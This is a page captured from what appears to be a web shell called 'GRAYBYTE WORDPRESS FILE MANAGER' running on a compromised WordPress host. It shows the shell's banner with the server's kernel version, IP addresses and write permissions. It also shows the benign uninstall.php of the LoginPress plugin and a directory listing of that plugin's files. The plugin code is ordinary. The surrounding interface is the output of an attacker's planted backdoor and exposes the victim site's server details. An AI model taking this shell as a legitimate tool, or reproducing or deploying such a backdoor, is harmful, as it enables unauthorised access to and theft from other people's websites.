✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/tdtravelandlogistics.com/wp-content/plugins/loginpress/include//uninstall.php
<?php
/**
 * LoginPress Uninstall Functions.
 *
 * This file contains functions to uninstall LoginPress.
 * Purpose of this file is to clean up plugin data when the plugin is uninstalled.
 *
 * @package LoginPress
 * @since 1.1.9
 * @version 6.2.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$loginpress_setting   = get_option( 'loginpress_setting' );
$loginpress_uninstall = isset( $loginpress_setting['loginpress_uninstall'] ) ? $loginpress_setting['loginpress_uninstall'] : 'off';
if ( 'on' !== $loginpress_uninstall ) {
	return;
}

// Array of Plugin's Option.
$loginpress_uninstall_options = array(
	'loginpress_customization',
	'loginpress_setting',
	'loginpress_addon_active_time',
	'loginpress_addon_dismiss_1',
	'loginpress_review_dismiss',
	'loginpress_active_time',
	'_loginpress_optin',
	'loginpress_friday_sale_active_time',
	'loginpress_friday_sale_dismiss',
	'loginpress_friday_21_sale_dismiss',
	'_transient_timeout_loginpress_rdn_fetch_notifications',
	'_transient_loginpress_rdn_fetch_notifications',
	'loginpress_pro_intro_dismiss',
	'loginpress_premium',
	'loginpress_autologin',
	'loginpress_hidelogin',
	'loginpress_limit_login_attempts',
	'loginpress_login_redirects',
	'loginpress_social_logins',
	'wpb_sdk_module_id',
	'wpb_sdk_loginpress',
	'wpb_sdk_loginpress_fallback_verify_token',
	'wpb_sdk_loginpress_initial_log_sent',
	'wpb_sdk_module_slug',
	'_transient_loginpress_pro_pop_up',
);

if ( ! is_multisite() ) {
	// Handle the delete loginpress force rest password for all users.
	loginpress_force_reset_password_remove();

	// Delete all plugin Options.
	foreach ( $loginpress_uninstall_options as $loginpress_option ) {
		delete_option( $loginpress_option );
	}
} else {

	global $wpdb;
	// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Required for multisite uninstall to get all blog IDs.
	$loginpress_blog_ids = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" );

	foreach ( $loginpress_blog_ids as $loginpress_blog_id ) {

		switch_to_blog( $loginpress_blog_id );

		// Handle the delete loginpress force rest password for all users.
		loginpress_force_reset_password_remove();

		// Pull the LoginPress page from options.
		$loginpress         = new LoginPress();
		$loginpress_page    = $loginpress->get_loginpress_page();
		$loginpress_page_id = $loginpress_page->ID;

		wp_trash_post( $loginpress_page_id );

		// Delete all plugin Options.
		foreach ( $loginpress_uninstall_options as $loginpress_option ) {
			delete_option( $loginpress_option );
		}

		restore_current_blog();
	}
}


/**
 * Handle the delete loginpress force reset password for all users.
 *
 * @since 3.0.0
 * @return void
 */
function loginpress_force_reset_password_remove() {

	$args = array(
		// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query -- Required for uninstall to find users with password reset meta.
		'meta_query' => array(
			array(
				'key' => 'loginpress_password_reset_limit',
			),
		),
		'fields'     => 'ID',
	);

	$blog_users = get_users( $args );

	if ( $blog_users ) {
		foreach ( $blog_users as $users ) {
			delete_user_meta( $users->ID, 'loginpress_password_reset_limit' );
		}
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
class-loginpress-compatibility.php
17.099 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
class-loginpress-domains.php
5.846 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
class-loginpress-page-create.php
6.964 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
class-loginpress-static-addons.php
18.933 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
class-loginpress-theme-template.php
4.361 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
class-remote-notification-client.php
17.78 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
customizer-strings.php
12.508 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
customizer-validation.php
5.1 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
login-footer.php
1.317 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
loginpress-import-export.php
2.774 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
loginpress-remote-notification-trait.php
7.046 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
loginpress-utilities.php
4.097 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
privacy-policy.php
2.448 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
template-loginpress.php
25.976 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644
uninstall.php
3.128 KB
4 Jun 2026 3.58 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF